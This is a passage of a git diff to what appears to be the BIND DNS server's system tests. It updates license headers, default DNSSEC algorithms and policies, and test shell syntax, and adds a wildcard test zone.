-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
 $TTL 300	; 5 minutes
 @		IN SOA	ns3. . (
 			1          ; serial
diff --git a/bin/tests/system/views/ns5/named.conf.in b/bin/tests/system/views/ns5/named.conf.in
index 9be2036341..4c4ee4e271 100644
--- a/bin/tests/system/views/ns5/named.conf.in
+++ b/bin/tests/system/views/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,12 +21,13 @@ options {
 	listen-on { 10.53.0.5; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	notify yes;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/views/setup.sh b/bin/tests/system/views/setup.sh
index e1dd2ba4a1..e0cca838c0 100644
--- a/bin/tests/system/views/setup.sh
+++ b/bin/tests/system/views/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -26,11 +28,11 @@ copy_setports ns5/named.conf.in ns5/named.conf
 # same source of "random" data and we want different keys for
 # internal and external instances of inline.
 #
-$KEYGEN -K ns2/internal -a rsasha256 -q inline > /dev/null 2>&1
-$KEYGEN -K ns2/internal -a rsasha256 -qfk inline > /dev/null 2>&1
-k1=$($KEYGEN -K ns2/external -a rsasha256 -q inline 2> /dev/null)
-k2=$($KEYGEN -K ns2/external -a rsasha256 -qfk inline 2> /dev/null)
-$KEYGEN -K ns2/external -a rsasha256 -q inline > /dev/null 2>&1
-$KEYGEN -K ns2/external -a rsasha256 -qfk inline > /dev/null 2>&1
+$KEYGEN -K ns2/internal -a ${DEFAULT_ALGORITHM} -q inline > /dev/null 2>&1
+$KEYGEN -K ns2/internal -a ${DEFAULT_ALGORITHM} -qfk inline > /dev/null 2>&1
+k1=$($KEYGEN -K ns2/external -a ${DEFAULT_ALGORITHM} -q inline 2> /dev/null)
+k2=$($KEYGEN -K ns2/external -a ${DEFAULT_ALGORITHM} -qfk inline 2> /dev/null)
+$KEYGEN -K ns2/external -a ${DEFAULT_ALGORITHM} -q inline > /dev/null 2>&1
+$KEYGEN -K ns2/external -a ${DEFAULT_ALGORITHM} -qfk inline > /dev/null 2>&1
 test -n "$k1" && rm -f ns2/external/"$k1".*
 test -n "$k2" && rm -f ns2/external/"$k2".*
diff --git a/bin/tests/system/views/tests.sh b/bin/tests/system/views/tests.sh
index 14f1008595..e99c12d86c 100644
--- a/bin/tests/system/views/tests.sh
+++ b/bin/tests/system/views/tests.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -154,10 +156,9 @@ while [ $i -lt 50 ]; do
 	# Add a new zone to the configuration.
 	cat >> ns2/zones.conf <<-EOF
 	zone "${zone_name}" {
-	    type master;
+	    type primary;
 	    file "db.${zone_name}";
-	    dnssec-dnskey-kskonly yes;
-	    auto-dnssec maintain;
+	    dnssec-policy default;
 	    inline-signing yes;
 	};
 	EOF
@@ -176,7 +177,6 @@ while [ $i -lt 50 ]; do
 	localhost       IN      A       127.0.0.1
 	EOF
 
-	$KEYGEN -q -Kns2 -fk -aecdsa256 "${zone_name}" > /dev/null
 	$RNDCCMD 10.53.0.2 reconfig || ret=1
 	if [ $ret != 0 ]; then echo_i "failed"; break; fi
 	i=$((i + 1))
diff --git a/bin/tests/system/views/tests_sh_views.py b/bin/tests/system/views/tests_sh_views.py
new file mode 100644
index 0000000000..bfaacf4897
--- /dev/null
+++ b/bin/tests/system/views/tests_sh_views.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_views(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/wildcard/clean.sh b/bin/tests/system/wildcard/clean.sh
index 057b071573..c690adeedd 100644
--- a/bin/tests/system/wildcard/clean.sh
+++ b/bin/tests/system/wildcard/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/wildcard/ns1/allwild.db.in b/bin/tests/system/wildcard/ns1/allwild.db.in
new file mode 100644
index 0000000000..71575c39bc
--- /dev/null
+++ b/bin/tests/system/wildcard/ns1/allwild.db.in
@@ -0,0 +1,15 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$ORIGIN allwild.test.
+allwild.test.                 3600 IN  SOA   . . 0 0 0 0 0
+allwild.test.                 3600     NS    ns.example.test.
+*.allwild.test.           3600     A     192.0.2.1
diff --git a/bin/tests/system/wildcard/ns1/dlv.db.in b/bin/tests/system/wildcard/ns1/dlv.db.in
index 413ca28fd7..6156de6572 100644
--- a/bin/tests/system/wildcard/ns1/dlv.db.in
+++ b/bin/tests/system/wildcard/ns1/dlv.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/wildcard/ns1/example.db.in b/bin/tests/system/wildcard/ns1/example.db.in
index 1c62aff792..36616cbd68 100644
--- a/bin/tests/system/wildcard/ns1/example.db.in
+++ b/bin/tests/system/wildcard/ns1/example.db.in
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $ORIGIN example.
 example.                 3600 IN  SOA   . . 0 0 0 0 0
 example.                 3600     NS    ns.example.com.
diff --git a/bin/tests/system/wildcard/ns1/named.conf.in b/bin/tests/system/wildcard/ns1/named.conf.in
index 3135a5dc4f..ac02abf8dc 100644
--- a/bin/tests/system/wildcard/ns1/named.conf.in
+++ b/bin/tests/system/wildcard/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -27,6 +29,7 @@ zone "." { type primary; file "root.db.signed"; };
 /*
  * RFC 4592 example zone.
  */
+zone "allwild.test" { type primary; file "allwild.db"; };
 zone "example" { type primary; file "example.db"; };
 zone "nsec" { type primary; file "nsec.db.signed"; };
 zone "private.nsec" { type primary; file "private.nsec.db.signed"; };
diff --git a/bin/tests/system/wildcard/ns1/nsec.db.in b/bin/tests/system/wildcard/ns1/nsec.db.in
index 940e8e1dd1..8869ab972e 100644
--- a/bin/tests/system/wildcard/ns1/nsec.db.in
+++ b/bin/tests/system/wildcard/ns1/nsec.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/wildcard/ns1/nsec3.db.in b/bin/tests/system/wildcard/ns1/nsec3.db.in
index 940e8e1dd1..8869ab972e 100644
--- a/bin/tests/system/wildcard/ns1/nsec3.db.in
+++ b/bin/tests/system/wildcard/ns1/nsec3.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/wildcard/ns1/private.nsec.db.in b/bin/tests/system/wildcard/ns1/private.nsec.db.in
index 5114ac4bbe..b7cc22296f 100644
--- a/bin/tests/system/wildcard/ns1/private.nsec.db.in
+++ b/bin/tests/system/wildcard/ns1/private.nsec.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/wildcard/ns1/private.nsec3.db.in b/bin/tests/system/wildcard/ns1/private.nsec3.db.in
index 98b7875857..566b3f8007 100644
--- a/bin/tests/system/wildcard/ns1/private.nsec3.db.in
+++ b/bin/tests/system/wildcard/ns1/private.nsec3.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/wildcard/ns1/root.db.in b/bin/tests/system/wildcard/ns1/root.db.in
index 3fcc8a11e1..ffeb0a60b5 100644
--- a/bin/tests/system/wildcard/ns1/root.db.in
+++ b/bin/tests/system/wildcard/ns1/root.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/wildcard/ns1/sign.sh b/bin/tests/system/wildcard/ns1/sign.sh
index 82666c610c..d414bb103b 100755
--- a/bin/tests/system/wildcard/ns1/sign.sh
+++ b/bin/tests/system/wildcard/ns1/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -16,16 +18,17 @@ SYSTESTDIR=wildcard
 dssets=
 
 # RFC 4592 example zone.
+cp allwild.db.in allwild.db
 cp example.db.in example.db
 
 zone=nsec
 infile=nsec.db.in
 zonefile=nsec.db
 outfile=nsec.db.signed
-dssets="$dssets dsset-${zone}${TP}"
+dssets="$dssets dsset-${zone}."
 
-keyname1=`$KEYGEN -a RSASHA1 -b 1024 -n zone $zone 2> /dev/null` 
-keyname2=`$KEYGEN -f KSK -a RSASHA1 -b 1024 -n zone $zone 2> /dev/null`
+keyname1=$($KEYGEN -a ${DEFAULT_ALGORITHM} -n zone $zone 2> /dev/null)
+keyname2=$($KEYGEN -f KSK -a ${DEFAULT_ALGORITHM} -n zone $zone 2> /dev/null)
 
 cat $infile $keyname1.key $keyname2.key > $zonefile
 
@@ -37,8 +40,8 @@ infile=private.nsec.db.in
 zonefile=private.nsec.db
 outfile=private.nsec.db.signed
 
-keyname1=`$KEYGEN -a RSASHA1 -b 1024 -n zone $zone 2> /dev/null` 
-keyname2=`$KEYGEN -f KSK -a RSASHA1 -b 1024 -n zone $zone 2> /dev/null`
+keyname1=$($KEYGEN -a ${DEFAULT_ALGORITHM} -n zone $zone 2> /dev/null)
+keyname2=$($KEYGEN -f KSK -a ${DEFAULT_ALGORITHM} -n zone $zone 2> /dev/null)
 
 cat $infile $keyname1.key $keyname2.key > $zonefile
 
@@ -51,10 +54,10 @@ zone=nsec3
 infile=nsec3.db.in
 zonefile=nsec3.db
 outfile=nsec3.db.signed
-dssets="$dssets dsset-${zone}${TP}"
+dssets="$dssets dsset-${zone}."
 
-keyname1=`$KEYGEN -a NSEC3RSASHA1 -b 1024 -n zone $zone 2> /dev/null` 
-keyname2=`$KEYGEN -f KSK -a NSEC3RSASHA1 -b 1024 -n zone $zone 2> /dev/null`
+keyname1=$($KEYGEN -a ${DEFAULT_ALGORITHM} -n zone $zone 2> /dev/null)
+keyname2=$($KEYGEN -f KSK -a ${DEFAULT_ALGORITHM} -n zone $zone 2> /dev/null)
 
 cat $infile $keyname1.key $keyname2.key > $zonefile
 
@@ -66,8 +69,8 @@ infile=private.nsec3.db.in
 zonefile=private.nsec3.db
 outfile=private.nsec3.db.signed
 
-keyname1=`$KEYGEN -a NSEC3RSASHA1 -b 1024 -n zone $zone 2> /dev/null` 
-keyname2=`$KEYGEN -f KSK -a NSEC3RSASHA1 -b 1024 -n zone $zone 2> /dev/null`
+keyname1=$($KEYGEN -a ${DEFAULT_ALGORITHM} -n zone $zone 2> /dev/null)
+keyname2=$($KEYGEN -f KSK -a ${DEFAULT_ALGORITHM} -n zone $zone 2> /dev/null)
 
 cat $infile $keyname1.key $keyname2.key > $zonefile
 
@@ -81,8 +84,8 @@ infile=root.db.in
 zonefile=root.db
 outfile=root.db.signed
 
-keyname1=`$KEYGEN -a RSASHA1 -b 1024 -n zone $zone 2> /dev/null`
-keyname2=`$KEYGEN -f KSK -a RSASHA1 -b 1024 -n zone $zone 2> /dev/null`
+keyname1=$($KEYGEN -a ${DEFAULT_ALGORITHM} -n zone $zone 2> /dev/null)
+keyname2=$($KEYGEN -f KSK -a ${DEFAULT_ALGORITHM} -n zone $zone 2> /dev/null)
 
 cat $infile $keyname1.key $keyname2.key $dssets >$zonefile
 
diff --git a/bin/tests/system/wildcard/ns2/named.conf.in b/bin/tests/system/wildcard/ns2/named.conf.in
index 8ae001b5a1..a9a2a7076d 100644
--- a/bin/tests/system/wildcard/ns2/named.conf.in
+++ b/bin/tests/system/wildcard/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/wildcard/ns3/named.conf.in b/bin/tests/system/wildcard/ns3/named.conf.in
index 0b3ec8b63b..0b958fa1a2 100644
--- a/bin/tests/system/wildcard/ns3/named.conf.in
+++ b/bin/tests/system/wildcard/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/wildcard/ns4/named.conf.in b/bin/tests/system/wildcard/ns4/named.conf.in
index 94c5344805..b125fa7420 100644
--- a/bin/tests/system/wildcard/ns4/named.conf.in
+++ b/bin/tests/system/wildcard/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/wildcard/ns5/named.conf.in b/bin/tests/system/wildcard/ns5/named.conf.in
index abe2d5d020..1cd358dc6f 100644
--- a/bin/tests/system/wildcard/ns5/named.conf.in
+++ b/bin/tests/system/wildcard/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/wildcard/setup.sh b/bin/tests/system/wildcard/setup.sh
index 14e2fd5728..8c7adfe1a7 100644
--- a/bin/tests/system/wildcard/setup.sh
+++ b/bin/tests/system/wildcard/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/wildcard/tests.sh b/bin/tests/system/wildcard/tests.sh
index f94f1b16fa..b956874aa5 100644
--- a/bin/tests/system/wildcard/tests.sh
+++ b/bin/tests/system/wildcard/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
@@ -18,41 +22,41 @@ rm -f dig.out.*
 
 DIGOPTS="+tcp +noadd +nosea +nostat +nocmd +dnssec -p ${PORT}"
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NSEC wildcard non-existence proof is returned auth ($n)"
 ret=0
 $DIG $DIGOPTS a b.wild.nsec +norec @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep -i 'a\.wild\.nsec\..*NSEC.*nsec\..*NSEC'  dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NSEC wildcard non-existence proof is returned non-validating ($n)"
 ret=0
 $DIG $DIGOPTS a b.wild.nsec @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep -i 'a\.wild\.nsec\..*NSEC.*nsec\..*NSEC'  dig.out.ns2.test$n > /dev/null || ret=1
 grep -i 'flags:.* ad[ ;]'  dig.out.ns2.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NSEC wildcard non-existence proof is returned validating ($n)"
 ret=0
 $DIG $DIGOPTS a b.wild.nsec @10.53.0.3 > dig.out.ns3.test$n || ret=1
 grep -i 'a\.wild\.nsec\..*NSEC.*nsec\..*NSEC'  dig.out.ns3.test$n > /dev/null || ret=1
 grep -i 'flags:.* ad[ ;]'  dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NSEC wildcard non-existence proof is returned validating + CD ($n)"
 ret=0
 $DIG $DIGOPTS +cd a b.wild.nsec @10.53.0.5 > dig.out.ns5.test$n || ret=1
 grep -i 'a\.wild\.nsec\..*NSEC.*nsec\..*NSEC'  dig.out.ns5.test$n > /dev/null || ret=1
 grep -i 'flags:.* ad[ ;]'  dig.out.ns5.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 echo_i "checking that returned NSEC wildcard non-existence proof validates ($n)"
 ret=0
@@ -60,91 +64,91 @@ $DIG $DIGOPTS a b.wild.nsec @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep -i 'a\.wild\.nsec\..*NSEC.*nsec\..*NSEC'  dig.out.ns4.test$n > /dev/null || ret=1
 grep -i 'flags:.* ad[ ;]'  dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NSEC wildcard non-existence proof is returned private, validating ($n)"
 ret=0
 $DIG $DIGOPTS a b.wild.private.nsec @10.53.0.3 > dig.out.ns3.test$n || ret=1
 grep -i 'a\.wild\.private\.nsec\..*NSEC.*private\.nsec\..*NSEC'  dig.out.ns3.test$n > /dev/null || ret=1
 grep -i 'flags:.* ad[ ;]'  dig.out.ns3.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that returned NSEC wildcard non-existence proof for private zone validates ($n)"
 ret=0
 $DIG $DIGOPTS a b.wild.private.nsec @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep -i 'a\.wild\.private\.nsec\..*NSEC.*private\.nsec\..*NSEC'  dig.out.ns4.test$n > /dev/null || ret=1
 grep -i 'flags:.* ad[ ;]'  dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NSEC3 wildcard non-existence proof is returned auth ($n)"
 ret=0
 $DIG $DIGOPTS a b.wild.nsec3 +norec @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep -i 'O3TJ8D9AJ54CBTFCQCJ3QK49CH7SF6H9\.nsec3\..*V5DLFB6UJNHR94LQ61FO607KGK12H88A'  dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NSEC3 wildcard non-existence proof is returned non-validating ($n)"
 ret=0
 $DIG $DIGOPTS a b.wild.nsec3 @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep -i 'O3TJ8D9AJ54CBTFCQCJ3QK49CH7SF6H9\.nsec3\..*V5DLFB6UJNHR94LQ61FO607KGK12H88A'  dig.out.ns2.test$n > /dev/null || ret=1
 grep -i 'flags:.* ad[ ;]'  dig.out.ns2.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NSEC3 wildcard non-existence proof is returned validating ($n)"
 ret=0
 $DIG $DIGOPTS a b.wild.nsec3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
 grep -i 'O3TJ8D9AJ54CBTFCQCJ3QK49CH7SF6H9\.nsec3\..*V5DLFB6UJNHR94LQ61FO607KGK12H88A'  dig.out.ns3.test$n > /dev/null || ret=1
 grep -i 'flags:.* ad[ ;]'  dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NSEC3 wildcard non-existence proof is returned validating + CD ($n)"
 ret=0
 $DIG $DIGOPTS +cd a b.wild.nsec3 @10.53.0.5 > dig.out.ns5.test$n || ret=1
 grep -i 'O3TJ8D9AJ54CBTFCQCJ3QK49CH7SF6H9\.nsec3\..*V5DLFB6UJNHR94LQ61FO607KGK12H88A'  dig.out.ns5.test$n > /dev/null || ret=1
 grep -i 'flags:.* ad[ ;]'  dig.out.ns5.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that returned NSEC3 wildcard non-existence proof validates ($n)"
 ret=0
 $DIG $DIGOPTS a b.wild.nsec3 @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep -i 'O3TJ8D9AJ54CBTFCQCJ3QK49CH7SF6H9\.nsec3\..*V5DLFB6UJNHR94LQ61FO607KGK12H88A'  dig.out.ns4.test$n > /dev/null || ret=1
 grep -i 'flags:.* ad[ ;]'  dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NSEC3 wildcard non-existence proof is returned private, validating ($n)"
 ret=0
 $DIG $DIGOPTS a b.wild.private.nsec3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
 grep -i 'UDBSP4R8OUOT6HSO39VD8B5LMOSHRD5N\.private\.nsec3\..*NSEC3.*ASDRUIB7GO00OR92S5OUGI404LT27RNU' dig.out.ns3.test$n > /dev/null || ret=1
